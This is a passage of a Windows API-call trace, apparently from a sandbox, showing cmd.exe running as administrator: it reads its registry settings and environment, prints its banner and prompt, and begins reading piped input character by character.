hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa08f0e5c8 | out: phkResult=0xa08f0e5c8*=0x7c) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x4, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x1, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x1, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x0, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x40, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x40, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x40, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.792] RegCloseKey (hKey=0x7c) returned 0x0 [0127.792] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa08f0e5c8 | out: phkResult=0xa08f0e5c8*=0x7c) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x40, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x1, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.792] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x1, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.793] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x0, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.793] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x9, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.793] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x4, lpData=0xa08f0e5e0*=0x9, lpcbData=0xa08f0e5c4*=0x4) returned 0x0 [0127.793] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa08f0e5c0, lpData=0xa08f0e5e0, lpcbData=0xa08f0e5c4*=0x1000 | out: lpType=0xa08f0e5c0*=0x0, lpData=0xa08f0e5e0*=0x9, lpcbData=0xa08f0e5c4*=0x1000) returned 0x2 [0127.793] RegCloseKey (hKey=0x7c) returned 0x0 [0127.793] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7aae7 [0127.793] srand (_Seed=0x5ce7aae7) [0127.793] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0127.793] malloc (_Size=0x4000) returned 0x1515c0654f0 [0127.793] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0127.793] malloc (_Size=0xffce) returned 0x1515c180080 [0127.794] ??_V@YAXPEAX@Z () returned 0x1515c180080 [0127.794] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1515c180080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.794] malloc (_Size=0xffce) returned 0x1515c190060 [0127.794] ??_V@YAXPEAX@Z () returned 0x1515c190060 [0127.795] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1515c190060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0127.795] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.795] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0127.795] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0127.795] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0127.795] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0127.795] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0127.795] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0127.795] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0127.795] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0127.795] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0127.795] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0127.795] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0127.795] GetProcessHeap () returned 0x1515c080000 [0127.795] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c0864a0) returned 1 [0127.795] GetEnvironmentStringsW () returned 0x1515c085a10* [0127.795] GetProcessHeap () returned 0x1515c080000 [0127.795] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xa94) returned 0x1515c087a10 [0127.796] FreeEnvironmentStringsA (penv="A") returned 1 [0127.796] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0127.796] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0127.796] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0127.796] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0127.796] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0127.796] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0127.796] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0127.796] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0127.796] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0127.796] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0127.796] malloc (_Size=0xffce) returned 0x1515c1a0040 [0127.796] ??_V@YAXPEAX@Z () returned 0x1515c1a0040 [0127.797] GetProcessHeap () returned 0x1515c080000 [0127.797] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x38) returned 0x1515c0884b0 [0127.797] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1515c1a0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.797] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1515c1a0040, lpFilePart=0xa08f0f140 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xa08f0f140*="system32") returned 0x13 [0127.797] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0127.797] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xa08f0ee70 | out: lpFindFileData=0xa08f0ee70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1515c0884f0 [0127.797] FindClose (in: hFindFile=0x1515c0884f0 | out: hFindFile=0x1515c0884f0) returned 1 [0127.797] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xa08f0ee70 | out: lpFindFileData=0xa08f0ee70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1515c0884f0 [0127.798] FindClose (in: hFindFile=0x1515c0884f0 | out: hFindFile=0x1515c0884f0) returned 1 [0127.798] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0127.798] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0127.798] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0127.798] GetProcessHeap () returned 0x1515c080000 [0127.798] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c087a10) returned 1 [0127.798] GetEnvironmentStringsW () returned 0x1515c0884f0* [0127.798] GetProcessHeap () returned 0x1515c080000 [0127.798] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xac4) returned 0x1515c085a10 [0127.798] FreeEnvironmentStringsA (penv="=") returned 1 [0127.798] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1515c180080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.798] GetProcessHeap () returned 0x1515c080000 [0127.798] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c0884b0) returned 1 [0127.798] ??_V@YAXPEAX@Z () returned 0x1 [0127.798] ??_V@YAXPEAX@Z () returned 0x1 [0127.798] GetProcessHeap () returned 0x1515c080000 [0127.798] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x4016) returned 0x1515c087a10 [0127.799] GetProcessHeap () returned 0x1515c080000 [0127.799] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c087a10) returned 1 [0127.799] GetConsoleOutputCP () returned 0x1b5 [0127.817] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.817] GetUserDefaultLCID () returned 0x409 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6c4f3bb78, cchData=8 | out: lpLCData=":") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa08f0f500, cchData=128 | out: lpLCData="0") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa08f0f500, cchData=128 | out: lpLCData="0") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa08f0f500, cchData=128 | out: lpLCData="1") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6c4f3bb68, cchData=8 | out: lpLCData="/") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6c4f3bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6c4f3bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6c4f3ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6c4f3ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6c4f3ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6c4f3b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6c4f3b980, cchData=32 | out: lpLCData="Sun") returned 4 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6c4f3bb58, cchData=8 | out: lpLCData=".") returned 2 [0127.818] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6c4f3bb40, cchData=8 | out: lpLCData=",") returned 2 [0127.818] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0127.819] GetProcessHeap () returned 0x1515c080000 [0127.820] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x0, Size=0x20c) returned 0x1515c086550 [0127.820] GetConsoleTitleW (in: lpConsoleTitle=0x1515c086550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0127.820] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.820] GetFileType (hFile=0x274) returned 0x3 [0127.820] ApiSetQueryApiSetPresence () returned 0x0 [0127.820] ResolveDelayLoadedAPI () returned 0x7ffcb760d990 [0127.823] BrandingFormatString () returned 0x1515c086c20 [0127.828] GetVersion () returned 0x3ad7000a [0127.829] _vsnwprintf (in: _Buffer=0xa08f0f660, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xa08f0f5f8 | out: _Buffer="10.0.15063") returned 10 [0127.829] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.829] GetFileType (hFile=0x274) returned 0x3 [0127.829] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6c4f47f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0127.829] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6c4f47f60, nSize=0x2000, Arguments=0xa08f0f600 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0127.829] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0127.829] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xa08f0f558, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f558*=0x26, lpOverlapped=0x0) returned 1 [0127.829] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa08f0f628 | out: _Buffer="\r\n") returned 2 [0127.829] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.829] GetFileType (hFile=0x274) returned 0x3 [0127.829] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.830] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa08f0f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f5f8*=0x2, lpOverlapped=0x0) returned 1 [0127.830] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xa08f0f628 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0127.830] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.830] GetFileType (hFile=0x274) returned 0x3 [0127.830] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0127.830] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xa08f0f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f5f8*=0x34, lpOverlapped=0x0) returned 1 [0127.830] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa08f0f628 | out: _Buffer="\r\n") returned 2 [0127.830] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.830] GetFileType (hFile=0x274) returned 0x3 [0127.830] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.830] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa08f0f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f5f8*=0x2, lpOverlapped=0x0) returned 1 [0127.830] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffcc00e0000 [0127.830] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="CopyFileExW") returned 0x7ffcc00fe830 [0127.830] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="IsDebuggerPresent") returned 0x7ffcc00fe300 [0127.830] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffcbf260a40 [0127.830] ??_V@YAXPEAX@Z () returned 0x1 [0127.831] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.831] GetFileType (hFile=0x264) returned 0x3 [0127.831] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0127.831] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xa08f0f468 | out: TokenHandle=0xa08f0f468*=0x0) returned 0xc000007c [0127.831] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xa08f0f468 | out: TokenHandle=0xa08f0f468*=0x94) returned 0x0 [0127.831] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xa08f0f418, TokenInformationLength=0x4, ReturnLength=0xa08f0f420 | out: TokenInformation=0xa08f0f418, ReturnLength=0xa08f0f420) returned 0x0 [0127.831] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xa08f0f420, TokenInformationLength=0x4, ReturnLength=0xa08f0f418 | out: TokenInformation=0xa08f0f420, ReturnLength=0xa08f0f418) returned 0x0 [0127.831] NtClose (Handle=0x94) returned 0x0 [0127.831] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xa08f0f430, nSize=0x0, Arguments=0xa08f0f438 | out: lpBuffer="渰專ő") returned 0xf [0127.831] GetProcessHeap () returned 0x1515c080000 [0127.831] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x218) returned 0x1515c088bb0 [0127.831] GetConsoleTitleW (in: lpConsoleTitle=0xa08f0f480, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0127.831] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0127.831] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0127.833] GetProcessHeap () returned 0x1515c080000 [0127.833] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c088bb0) returned 1 [0127.833] LocalFree (hMem=0x1515c086e30) returned 0x0 [0127.833] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa08f0f2a8 | out: _Buffer="\r\n") returned 2 [0127.833] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.833] GetFileType (hFile=0x274) returned 0x3 [0127.833] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.833] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa08f0f278, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f278*=0x2, lpOverlapped=0x0) returned 1 [0127.833] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0127.833] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1515c180080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.833] malloc (_Size=0x107ce) returned 0x1515c190060 [0127.834] _vsnwprintf (in: _Buffer=0x1515c190060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa08f0f2b8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0127.834] _vsnwprintf (in: _Buffer=0x1515c190086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xa08f0f2b8 | out: _Buffer=">") returned 1 [0127.834] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.834] GetFileType (hFile=0x274) returned 0x3 [0127.834] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0127.834] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xa08f0f2a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f2a8*=0x14, lpOverlapped=0x0) returned 1 [0127.834] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.834] GetFileType (hFile=0x264) returned 0x3 [0127.834] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.834] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.834] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.834] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0127.834] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.834] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.834] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.835] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.835] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.835] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.835] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, 